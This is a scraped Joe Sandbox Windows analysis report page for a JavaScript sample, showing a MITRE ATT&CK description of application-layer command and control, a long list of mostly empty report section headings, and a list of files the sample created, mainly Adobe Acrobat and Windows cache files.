Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 929826576149214658.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3360be17-ae9b-4e6a-8686-15f3bf6513e7.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.904

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.904

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Windows Analysis Report
929826576149214658.js